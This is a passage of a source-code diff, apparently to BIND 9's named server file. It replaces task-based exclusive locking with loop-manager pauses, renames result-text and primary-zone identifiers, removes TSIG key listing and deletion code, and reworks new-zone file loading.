 isc_result_t
 named_server_dumpstats(named_server_t *server) {
@@ -11368,7 +11226,7 @@ named_server_dumpstats(named_server_t *server) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "dumpstats failed: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 	}
 	return (result);
 }
@@ -11409,8 +11267,8 @@ add_view_tolist(struct dumpcontext *dctx, dns_view_t *view) {
 	ISC_LIST_INIT(vle->zonelist);
 	ISC_LIST_APPEND(dctx->viewlist, vle, link);
 	if (dctx->dumpzones) {
-		result = dns_zt_apply(view->zonetable, true, NULL,
-				      add_zone_tolist, dctx);
+		result = dns_view_apply(view, true, NULL, add_zone_tolist,
+					dctx);
 	}
 	return (result);
 }
@@ -11443,9 +11301,6 @@ dumpcontext_destroy(struct dumpcontext *dctx) {
 	if (dctx->cache != NULL) {
 		dns_db_detach(&dctx->cache);
 	}
-	if (dctx->task != NULL) {
-		isc_task_detach(&dctx->task);
-	}
 	if (dctx->fp != NULL) {
 		(void)isc_stdio_close(dctx->fp);
 	}
@@ -11501,13 +11356,13 @@ dumpdone(void *arg, isc_result_t result) {
 				dns_cache_getname(dctx->view->view->cache));
 			result = dns_master_dumptostreamasync(
 				dctx->mctx, dctx->cache, NULL, style, dctx->fp,
-				dctx->task, dumpdone, dctx, &dctx->mdctx);
-			if (result == DNS_R_CONTINUE) {
+				named_g_mainloop, dumpdone, dctx, &dctx->mdctx);
+			if (result == ISC_R_SUCCESS) {
 				return;
 			}
 			if (result == ISC_R_NOTIMPLEMENTED) {
 				fprintf(dctx->fp, "; %s\n",
-					dns_result_totext(result));
+					isc_result_totext(result));
 			} else if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
@@ -11522,7 +11377,12 @@ dumpdone(void *arg, isc_result_t result) {
 
 	if (dctx->cache != NULL) {
 		if (dctx->dumpadb) {
-			dns_adb_dump(dctx->view->view->adb, dctx->fp);
+			dns_adb_t *adb = NULL;
+			dns_view_getadb(dctx->view->view, &adb);
+			if (adb != NULL) {
+				dns_adb_dump(adb, dctx->fp);
+				dns_adb_detach(&adb);
+			}
 		}
 		if (dctx->dumpbad) {
 			dns_resolver_printbadcache(dctx->view->view->resolver,
@@ -11555,20 +11415,20 @@ dumpdone(void *arg, isc_result_t result) {
 			result = dns_zone_getdb(dctx->zone->zone, &dctx->db);
 			if (result != ISC_R_SUCCESS) {
 				fprintf(dctx->fp, "; %s\n",
-					dns_result_totext(result));
+					isc_result_totext(result));
 				goto nextzone;
 			}
 			dns_db_currentversion(dctx->db, &dctx->version);
 			result = dns_master_dumptostreamasync(
 				dctx->mctx, dctx->db, dctx->version, style,
-				dctx->fp, dctx->task, dumpdone, dctx,
-				&dctx->mdctx);
-			if (result == DNS_R_CONTINUE) {
+				dctx->fp, dns_zone_getloop(dctx->zone->zone),
+				dumpdone, dctx, &dctx->mdctx);
+			if (result == ISC_R_SUCCESS) {
 				return;
 			}
 			if (result == ISC_R_NOTIMPLEMENTED) {
 				fprintf(dctx->fp, "; %s\n",
-					dns_result_totext(result));
+					isc_result_totext(result));
 				result = ISC_R_SUCCESS;
 				POST(result);
 				goto nextzone;
@@ -11596,7 +11456,7 @@ dumpdone(void *arg, isc_result_t result) {
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "dumpdb failed: %s", dns_result_totext(result));
+			      "dumpdb failed: %s", isc_result_totext(result));
 	}
 	dumpcontext_destroy(dctx);
 }
@@ -11611,6 +11471,8 @@ named_server_dumpdb(named_server_t *server, isc_lex_t *lex,
 	const char *sep;
 	bool found;
 
+	REQUIRE(text != NULL);
+
 	/* Skip the command name. */
 	ptr = next_token(lex, NULL);
 	if (ptr == NULL) {
@@ -11618,25 +11480,14 @@ named_server_dumpdb(named_server_t *server, isc_lex_t *lex,
 	}
 
 	dctx = isc_mem_get(server->mctx, sizeof(*dctx));
-
-	dctx->mctx = server->mctx;
-	dctx->dumpcache = true;
-	dctx->dumpadb = true;
-	dctx->dumpbad = true;
-	dctx->dumpexpired = false;
-	dctx->dumpfail = true;
-	dctx->dumpzones = false;
-	dctx->fp = NULL;
-	ISC_LIST_INIT(dctx->viewlist);
-	dctx->view = NULL;
-	dctx->zone = NULL;
-	dctx->cache = NULL;
-	dctx->mdctx = NULL;
-	dctx->db = NULL;
-	dctx->cache = NULL;
-	dctx->task = NULL;
-	dctx->version = NULL;
-	isc_task_attach(server->task, &dctx->task);
+	*dctx = (struct dumpcontext){
+		.mctx = server->mctx,
+		.dumpcache = true,
+		.dumpadb = true,
+		.dumpbad = true,
+		.dumpfail = true,
+		.viewlist = ISC_LIST_INITIALIZER,
+	};
 
 	CHECKMF(isc_stdio_open(server->dumpfile, "w", &dctx->fp),
 		"could not open dump file", server->dumpfile);
@@ -11734,6 +11585,8 @@ named_server_dumpsecroots(named_server_t *server, isc_lex_t *lex,
 	unsigned int used = isc_buffer_usedlength(*text);
 	bool first = true;
 
+	REQUIRE(text != NULL);
+
 	/* Skip the command name. */
 	ptr = next_token(lex, text);
 	if (ptr == NULL) {
@@ -11754,7 +11607,7 @@ named_server_dumpsecroots(named_server_t *server, isc_lex_t *lex,
 		}
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	isc_time_formattimestamp(&now, tbuf, sizeof(tbuf));
 	CHECK(putstr(text, "secure roots as of "));
 	CHECK(putstr(text, tbuf));
@@ -11835,7 +11688,7 @@ named_server_dumpsecroots(named_server_t *server, isc_lex_t *lex,
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "dumpsecroots failed: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 	}
 	return (result);
 }
@@ -11874,7 +11727,7 @@ named_server_dumprecursing(named_server_t *server) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "dumprecursing failed: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 	}
 	return (result);
 }
@@ -11922,6 +11775,8 @@ named_server_validation(named_server_t *server, isc_lex_t *lex,
 	isc_result_t result;
 	bool enable = true, set = true, first = true;
 
+	REQUIRE(text != NULL);
+
 	/* Skip the command name. */
 	ptr = next_token(lex, text);
 	if (ptr == NULL) {
@@ -11951,8 +11806,7 @@ named_server_validation(named_server_t *server, isc_lex_t *lex,
 	/* Look for the view name. */
 	ptr = next_token(lex, text);
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
@@ -11990,7 +11844,7 @@ named_server_validation(named_server_t *server, isc_lex_t *lex,
 		result = ISC_R_FAILURE;
 	}
 cleanup:
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 	return (result);
 }
 
@@ -12012,8 +11866,7 @@ named_server_flushcache(named_server_t *server, isc_lex_t *lex) {
 	/* Look for the view name. */
 	ptr = next_token(lex, NULL);
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 	flushed = true;
 	found = false;
 
@@ -12135,7 +11988,7 @@ named_server_flushcache(named_server_t *server, isc_lex_t *lex) {
 			result = ISC_R_FAILURE;
 		}
 	}
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 	return (result);
 }
 
@@ -12175,8 +12028,7 @@ named_server_flushnode(named_server_t *server, isc_lex_t *lex, bool tree) {
 	/* Look for the view name. */
 	viewname = next_token(lex, NULL);
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 	flushed = true;
 	found = false;
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
@@ -12227,7 +12079,7 @@ named_server_flushnode(named_server_t *server, isc_lex_t *lex, bool tree) {
 		}
 		result = ISC_R_FAILURE;
 	}
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 	return (result);
 }
 
@@ -12242,6 +12094,8 @@ named_server_status(named_server_t *server, isc_buffer_t **text) {
 	char line[1024], hostname[256];
 	named_reload_t reload_status;
 
+	REQUIRE(text != NULL);
+
 	if (named_g_server->version_set) {
 		ob = " (";
 		cb = ")";
@@ -12271,8 +12125,7 @@ named_server_status(named_server_t *server, isc_buffer_t **text) {
 		 cb);
 	CHECK(putstr(text, line));
 
-	result = named_os_gethostname(hostname, sizeof(hostname));
-	if (result != ISC_R_SUCCESS) {
+	if (gethostname(hostname, sizeof(hostname)) == 0) {
 		strlcpy(hostname, "localhost", sizeof(hostname));
 	}
 	snprintf(line, sizeof(line), "running on %s: %s\n", hostname,
@@ -12339,8 +12192,8 @@ named_server_status(named_server_t *server, isc_buffer_t **text) {
 	CHECK(putstr(text, line));
 
 	snprintf(line, sizeof(line), "TCP high-water: %u\n",
-		 (unsigned)ns_stats_get_counter(server->sctx->nsstats,
-						ns_statscounter_tcphighwater));
+		 (unsigned int)ns_stats_get_counter(
+			 server->sctx->nsstats, ns_statscounter_tcphighwater));
 	CHECK(putstr(text, line));
 
 	reload_status = atomic_load(&server->reload_status);
@@ -12364,256 +12217,32 @@ isc_result_t
 named_server_testgen(isc_lex_t *lex, isc_buffer_t **text) {
 	isc_result_t result;
 	char *ptr;
-	unsigned long count;
-	unsigned long i;
-	const unsigned char chars[] = "abcdefghijklmnopqrstuvwxyz0123456789";
-
-	/* Skip the command name. */
-	ptr = next_token(lex, text);
-	if (ptr == NULL) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
-
-	ptr = next_token(lex, text);
-	if (ptr == NULL) {
-		count = 26;
-	} else {
-		count = strtoul(ptr, NULL, 10);
-	}
-
-	CHECK(isc_buffer_reserve(text, count));
-	for (i = 0; i < count; i++) {
-		CHECK(putuint8(text, chars[i % (sizeof(chars) - 1)]));
-	}
-
-	CHECK(putnull(text));
-
-cleanup:
-	return (result);
-}
-
-static isc_result_t
-delete_keynames(dns_tsig_keyring_t *ring, char *target,
-		unsigned int *foundkeys) {
-	char namestr[DNS_NAME_FORMATSIZE];
-	isc_result_t result;
-	dns_rbtnodechain_t chain;
-	dns_name_t foundname;
-	dns_fixedname_t fixedorigin;
-	dns_name_t *origin;
-	dns_rbtnode_t *node;
-	dns_tsigkey_t *tkey;
-
-	dns_name_init(&foundname, NULL);
-	origin = dns_fixedname_initname(&fixedorigin);
-
-again:
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ring->keys, &foundname, origin);
-	if (result == ISC_R_NOTFOUND) {
-		dns_rbtnodechain_invalidate(&chain);
-		return (ISC_R_SUCCESS);
-	}
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		dns_rbtnodechain_invalidate(&chain);
-		return (result);
-	}
-
-	for (;;) {
-		node = NULL;
-		dns_rbtnodechain_current(&chain, &foundname, origin, &node);
-		tkey = node->data;
-
-		if (tkey != NULL) {
-			if (!tkey->generated) {
-				goto nextkey;
-			}
-
-			dns_name_format(&tkey->name, namestr, sizeof(namestr));
-			if (strcmp(namestr, target) == 0) {
-				(*foundkeys)++;
-				dns_rbtnodechain_invalidate(&chain);
-				(void)dns_rbt_deletename(ring->keys,
-							 &tkey->name, false);
-				goto again;
-			}
-		}
-
-	nextkey:
-		result = dns_rbtnodechain_next(&chain, &foundname, origin);
-		if (result == ISC_R_NOMORE) {
-			break;
-		}
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			dns_rbtnodechain_invalidate(&chain);
-			return (result);
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-named_server_tsigdelete(named_server_t *server, isc_lex_t *lex,
-			isc_buffer_t **text) {
-	isc_result_t result;
-	dns_view_t *view;
-	unsigned int foundkeys = 0;
-	char *ptr, *viewname;
-	char target[DNS_NAME_FORMATSIZE];
-	char fbuf[16];
-
-	(void)next_token(lex, text); /* skip command name */
-
-	ptr = next_token(lex, text);
-	if (ptr == NULL) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
-	strlcpy(target, ptr, DNS_NAME_FORMATSIZE);
-
-	viewname = next_token(lex, text);
-
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-	     view = ISC_LIST_NEXT(view, link))
-	{
-		if (viewname == NULL || strcmp(view->name, viewname) == 0) {
-			RWLOCK(&view->dynamickeys->lock, isc_rwlocktype_write);
-			result = delete_keynames(view->dynamickeys, target,
-						 &foundkeys);
-			RWUNLOCK(&view->dynamickeys->lock,
-				 isc_rwlocktype_write);
-			if (result != ISC_R_SUCCESS) {
-				isc_task_endexclusive(server->task);
-				return (result);
-			}
-		}
-	}
-	isc_task_endexclusive(server->task);
-
-	snprintf(fbuf, sizeof(fbuf), "%u", foundkeys);
-
-	CHECK(putstr(text, fbuf));
-	CHECK(putstr(text, " tsig keys deleted."));
-	CHECK(putnull(text));
-
-cleanup:
-	return (result);
-}
-
-static isc_result_t
-list_keynames(dns_view_t *view, dns_tsig_keyring_t *ring, isc_buffer_t **text,
-	      unsigned int *foundkeys) {
-	char namestr[DNS_NAME_FORMATSIZE];
-	char creatorstr[DNS_NAME_FORMATSIZE];
-	isc_result_t result;
-	dns_rbtnodechain_t chain;
-	dns_name_t foundname;
-	dns_fixedname_t fixedorigin;
-	dns_name_t *origin;
-	dns_rbtnode_t *node;
-	dns_tsigkey_t *tkey;
-	const char *viewname;
-
-	if (view != NULL) {
-		viewname = view->name;
-	} else {
-		viewname = "(global)";
-	}
-
-	dns_name_init(&foundname, NULL);
-	origin = dns_fixedname_initname(&fixedorigin);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ring->keys, &foundname, origin);
-	if (result == ISC_R_NOTFOUND) {
-		dns_rbtnodechain_invalidate(&chain);
-		return (ISC_R_SUCCESS);
-	}
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		dns_rbtnodechain_invalidate(&chain);
-		return (result);
-	}
-
-	for (;;) {
-		node = NULL;
-		dns_rbtnodechain_current(&chain, &foundname, origin, &node);
-		tkey = node->data;
-
-		if (tkey != NULL) {
-			dns_name_format(&tkey->name, namestr, sizeof(namestr));
-			if (tkey->generated) {
-				dns_name_format(tkey->creator, creatorstr,
-						sizeof(creatorstr));
-				if (*foundkeys != 0) {
-					CHECK(putstr(text, "\n"));
-				}
-				CHECK(putstr(text, "view \""));
-				CHECK(putstr(text, viewname));
-				CHECK(putstr(text, "\"; type \"dynamic\"; key "
-						   "\""));
-				CHECK(putstr(text, namestr));
-				CHECK(putstr(text, "\"; creator \""));
-				CHECK(putstr(text, creatorstr));
-				CHECK(putstr(text, "\";"));
-			} else {
-				if (*foundkeys != 0) {
-					CHECK(putstr(text, "\n"));
-				}
-				CHECK(putstr(text, "view \""));
-				CHECK(putstr(text, viewname));
-				CHECK(putstr(text, "\"; type \"static\"; key "
-						   "\""));
-				CHECK(putstr(text, namestr));
-				CHECK(putstr(text, "\";"));
-			}
-			(*foundkeys)++;
-		}
-		result = dns_rbtnodechain_next(&chain, &foundname, origin);
-		if (result == ISC_R_NOMORE || result == DNS_R_NEWORIGIN) {
-			break;
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-cleanup:
-	dns_rbtnodechain_invalidate(&chain);
-	return (result);
-}
-
-isc_result_t
-named_server_tsiglist(named_server_t *server, isc_buffer_t **text) {
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_view_t *view;
-	unsigned int foundkeys = 0;
-
-	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
-	     view = ISC_LIST_NEXT(view, link))
-	{
-		RWLOCK(&view->statickeys->lock, isc_rwlocktype_read);
-		result = list_keynames(view, view->statickeys, text,
-				       &foundkeys);
-		RWUNLOCK(&view->statickeys->lock, isc_rwlocktype_read);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		RWLOCK(&view->dynamickeys->lock, isc_rwlocktype_read);
-		result = list_keynames(view, view->dynamickeys, text,
-				       &foundkeys);
-		RWUNLOCK(&view->dynamickeys->lock, isc_rwlocktype_read);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+	unsigned long count;
+	unsigned long i;
+	const unsigned char chars[] = "abcdefghijklmnopqrstuvwxyz0123456789";
+
+	REQUIRE(text != NULL);
+
+	/* Skip the command name. */
+	ptr = next_token(lex, text);
+	if (ptr == NULL) {
+		return (ISC_R_UNEXPECTEDEND);
 	}
 
-	if (foundkeys == 0) {
-		CHECK(putstr(text, "no tsig keys found."));
+	ptr = next_token(lex, text);
+	if (ptr == NULL) {
+		count = 26;
+	} else {
+		count = strtoul(ptr, NULL, 10);
 	}
 
-	if (isc_buffer_usedlength(*text) > 0) {
-		CHECK(putnull(text));
+	CHECK(isc_buffer_reserve(*text, count));
+	for (i = 0; i < count; i++) {
+		CHECK(putuint8(text, chars[i % (sizeof(chars) - 1)]));
 	}
 
+	CHECK(putnull(text));
+
 cleanup:
 	return (result);
 }
@@ -12631,6 +12260,8 @@ named_server_rekey(named_server_t *server, isc_lex_t *lex,
 	bool fullsign = false;
 	char *ptr;
 
+	REQUIRE(text != NULL);
+
 	ptr = next_token(lex, text);
 	if (ptr == NULL) {
 		return (ISC_R_UNEXPECTEDEND);
@@ -12640,6 +12271,8 @@ named_server_rekey(named_server_t *server, isc_lex_t *lex,
 		fullsign = true;
 	}
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &zone, NULL, text, false);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -12649,16 +12282,15 @@ named_server_rekey(named_server_t *server, isc_lex_t *lex,
 	}
 
 	type = dns_zone_gettype(zone);
-	if (type != dns_zone_master) {
+	if (type != dns_zone_primary) {
 		dns_zone_detach(&zone);
-		return (DNS_R_NOTMASTER);
+		return (DNS_R_NOTPRIMARY);
 	}
 
 	keyopts = dns_zone_getkeyopts(zone);
 
 	/*
-	 * "rndc loadkeys" requires "auto-dnssec maintain"
-	 * or a "dnssec-policy".
+	 * "rndc loadkeys" requires a "dnssec-policy".
 	 */
 	if ((keyopts & DNS_ZONEKEY_ALLOW) == 0) {
 		result = ISC_R_NOPERM;
@@ -12705,42 +12337,46 @@ synczone(dns_zone_t *zone, void *uap) {
 isc_result_t
 named_server_sync(named_server_t *server, isc_lex_t *lex, isc_buffer_t **text) {
 	isc_result_t result, tresult;
-	dns_view_t *view;
+	dns_view_t *view = NULL;
 	dns_zone_t *zone = NULL;
 	char classstr[DNS_RDATACLASS_FORMATSIZE];
 	char zonename[DNS_NAME_FORMATSIZE];
-	const char *vname, *sep, *arg;
+	const char *vname = NULL, *sep = NULL, *arg = NULL;
 	bool cleanup = false;
 
+	REQUIRE(text != NULL);
+
 	(void)next_token(lex, text);
 
 	arg = next_token(lex, text);
 	if (arg != NULL &&
-	    (strcmp(arg, "-clean") == 0 || strcmp(arg, "-clear") == 0)) {
+	    (strcmp(arg, "-clean") == 0 || strcmp(arg, "-clear") == 0))
+	{
 		cleanup = true;
 		arg = next_token(lex, text);
 	}
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, arg, &zone, NULL, text, false);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
 	if (zone == NULL) {
-		result = isc_task_beginexclusive(server->task);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		isc_loopmgr_pause(named_g_loopmgr);
 		tresult = ISC_R_SUCCESS;
 		for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 		     view = ISC_LIST_NEXT(view, link))
 		{
-			result = dns_zt_apply(view->zonetable, false, NULL,
-					      synczone, &cleanup);
+			result = dns_view_apply(view, false, NULL, synczone,
+						&cleanup);
 			if (result != ISC_R_SUCCESS && tresult == ISC_R_SUCCESS)
 			{
 				tresult = result;
 			}
 		}
-		isc_task_endexclusive(server->task);
+		isc_loopmgr_resume(named_g_loopmgr);
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 			      "dumping all zones%s: %s",
@@ -12749,14 +12385,14 @@ named_server_sync(named_server_t *server, isc_lex_t *lex, isc_buffer_t **text) {
 		return (tresult);
 	}
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 	result = synczone(zone, &cleanup);
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	view = dns_zone_getview(zone);
 	if (strcmp(view->name, "_default") == 0 ||
-	    strcmp(view->name, "_bind") == 0) {
+	    strcmp(view->name, "_bind") == 0)
+	{
 		vname = "";
 		sep = "";
 	} else {
@@ -12791,13 +12427,14 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 	bool frozen;
 	const char *msg = NULL;
 
+	REQUIRE(text != NULL);
+
 	result = zone_from_args(server, lex, NULL, &mayberaw, NULL, text, true);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 	if (mayberaw == NULL) {
-		result = isc_task_beginexclusive(server->task);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		isc_loopmgr_pause(named_g_loopmgr);
 		tresult = ISC_R_SUCCESS;
 		for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 		     view = ISC_LIST_NEXT(view, link))
@@ -12808,7 +12445,7 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 				tresult = result;
 			}
 		}
-		isc_task_endexclusive(server->task);
+		isc_loopmgr_resume(named_g_loopmgr);
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 			      "%s all zones: %s",
@@ -12823,9 +12460,9 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 		dns_zone_detach(&raw);
 	}
 	type = dns_zone_gettype(mayberaw);
-	if (type != dns_zone_master) {
+	if (type != dns_zone_primary) {
 		dns_zone_detach(&mayberaw);
-		return (DNS_R_NOTMASTER);
+		return (DNS_R_NOTPRIMARY);
 	}
 
 	if (freeze && !dns_zone_isdynamic(mayberaw, true)) {
@@ -12833,8 +12470,7 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 		return (DNS_R_NOTDYNAMIC);
 	}
 
-	result = isc_task_beginexclusive(server->task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 	frozen = dns_zone_getupdatedisabled(mayberaw);
 	if (freeze) {
 		if (frozen) {
@@ -12868,10 +12504,12 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 				      "Check the logs to see the result.";
 				result = ISC_R_SUCCESS;
 				break;
+			default:
+				break;
 			}
 		}
 	}
-	isc_task_endexclusive(server->task);
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	if (msg != NULL) {
 		(void)putstr(text, msg);
@@ -12880,7 +12518,8 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
 
 	view = dns_zone_getview(mayberaw);
 	if (strcmp(view->name, "_default") == 0 ||
-	    strcmp(view->name, "_bind") == 0) {
+	    strcmp(view->name, "_bind") == 0)
+	{
 		vname = "";
 		sep = "";
 	} else {
@@ -12907,6 +12546,8 @@ named_server_freeze(named_server_t *server, bool freeze, isc_lex_t *lex,
  */
 isc_result_t
 named_smf_add_message(isc_buffer_t **text) {
+	REQUIRE(text != NULL);
+
 	return (putstr(text, "use svcadm(1M) to manage named"));
 }
 #endif /* HAVE_LIBSCF */
@@ -13011,12 +12652,13 @@ nzf_writeconf(const cfg_obj_t *config, dns_view_t *view) {
 		CHECK(ISC_R_FAILURE);
 	}
 
-	DE_CONST(&zl->value.list, list);
+	list = UNCONST(&zl->value.list);
 
 	CHECK(add_comment(fp, view->name)); /* force a comment */
 
 	for (elt = ISC_LIST_HEAD(*list); elt != NULL;
-	     elt = ISC_LIST_NEXT(elt, link)) {
+	     elt = ISC_LIST_NEXT(elt, link))
+	{
 		const cfg_obj_t *zconfig = cfg_listelt_value(elt);
 
 		CHECK(isc_stdio_write("zone ", 5, 1, fp, NULL));
@@ -13041,7 +12683,32 @@ nzf_writeconf(const cfg_obj_t *config, dns_view_t *view) {
 	return (result);
 }
 
-#else /* HAVE_LMDB */
+static isc_result_t
+load_nzf(dns_view_t *view, ns_cfgctx_t *nzcfg) {
+	isc_result_t result;
+
+	/* The new zone file may not exist. That is OK. */
+	if (!isc_file_exists(view->new_zone_file)) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * Parse the configuration in the NZF file.  This may be called in
+	 * multiple views, so we reset the parser each time.
+	 */
+	cfg_parser_reset(named_g_addparser);
+	result = cfg_parse_file(named_g_addparser, view->new_zone_file,
+				&cfg_type_addzoneconf, &nzcfg->nzf_config);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
+			      "Error parsing NZF file '%s': %s",
+			      view->new_zone_file, isc_result_totext(result));
+	}
+
+	return (result);
+}
+#else  /* HAVE_LMDB */
 
 static void
 nzd_setkey(MDB_val *key, dns_name_t *name, char *namebuf, size_t buflen) {
@@ -13366,52 +13033,16 @@ nzd_close(MDB_txn **txnp, bool commit) {
 }
 
 /*
- * Count the zones configured in the new zone database for 'view' and store the
- * result in 'countp'.
+ * If there's an existing NZF file, load it and migrate its data
+ * to the NZD.
  *
- * Caller must hold 'view->new_zone_lock'.
- */
-static isc_result_t
-nzd_count(dns_view_t *view, int *countp) {
-	isc_result_t result;
-	int status;
-	MDB_txn *txn = NULL;
-	MDB_dbi dbi;
-	MDB_stat statbuf;
-
-	REQUIRE(countp != NULL);
-
-	result = nzd_open(view, MDB_RDONLY, &txn, &dbi);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	status = mdb_stat(txn, dbi, &statbuf);
-	if (status != MDB_SUCCESS) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "mdb_stat: %s", mdb_strerror(status));
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	*countp = statbuf.ms_entries;
-
-cleanup:
-	(void)nzd_close(&txn, false);
-
-	return (result);
-}
-
-/*
- * Migrate zone configuration from an NZF file to an NZD database.
  * Caller must hold view->new_zone_lock.
  */
 static isc_result_t
-migrate_nzf(dns_view_t *view) {
+load_nzf(dns_view_t *view, ns_cfgctx_t *nzcfg) {
 	isc_result_t result;
 	cfg_obj_t *nzf_config = NULL;
-	int status, n;
+	int status;
 	isc_buffer_t *text = NULL;
 	bool commit = false;
 	const cfg_obj_t *zonelist;
@@ -13422,6 +13053,8 @@ migrate_nzf(dns_view_t *view) {
 	MDB_val key, data;
 	ns_dzarg_t dzarg;
 
+	UNUSED(nzcfg);
+
 	/*
 	 * If NZF file doesn't exist, or NZD DB exists and already
 	 * has data, return without attempting migration.
@@ -13431,12 +13064,6 @@ migrate_nzf(dns_view_t *view) {
 		goto cleanup;
 	}
 
-	result = nzd_count(view, &n);
-	if (result == ISC_R_SUCCESS && n > 0) {
-		result = ISC_R_SUCCESS;
-		goto cleanup;
-	}
-
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
 		      "Migrating zones from NZF file '%s' to "
@@ -13514,7 +13141,7 @@ migrate_nzf(dns_view_t *view) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 				      "Error writing zone config to "
-				      "buffer in migrate_nzf(): %s",
+				      "buffer in load_nzf(): %s",
 				      isc_result_totext(result));
 			result = dzarg.result;
 			goto cleanup;
@@ -13567,7 +13194,6 @@ migrate_nzf(dns_view_t *view) {
 
 	return (result);
 }
-
 #endif /* HAVE_LMDB */
 
 static isc_result_t
@@ -13601,8 +13227,7 @@ newzone_parse(named_server_t *server, char *command, dns_view_t **viewp,
 	} else if (strncasecmp(command, "mod", 3) == 0) {
 		bn = "modzone";
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/*
@@ -13639,8 +13264,7 @@ newzone_parse(named_server_t *server, char *command, dns_view_t **viewp,
 	}
 
 	if (strcasecmp(cfg_obj_asstring(obj), "hint") == 0 ||
-	    strcasecmp(cfg_obj_asstring(obj), "forward") == 0 ||
-	    strcasecmp(cfg_obj_asstring(obj), "delegation-only") == 0)
+	    strcasecmp(cfg_obj_asstring(obj), "forward") == 0)
 	{
 		(void)putstr(text, "'");
 		(void)putstr(text, cfg_obj_asstring(obj));
@@ -13716,23 +13340,24 @@ delete_zoneconf(dns_view_t *view, cfg_parser_t *pctx, const cfg_obj_t *config,
 		CHECK(ISC_R_FAILURE);
 	}
 
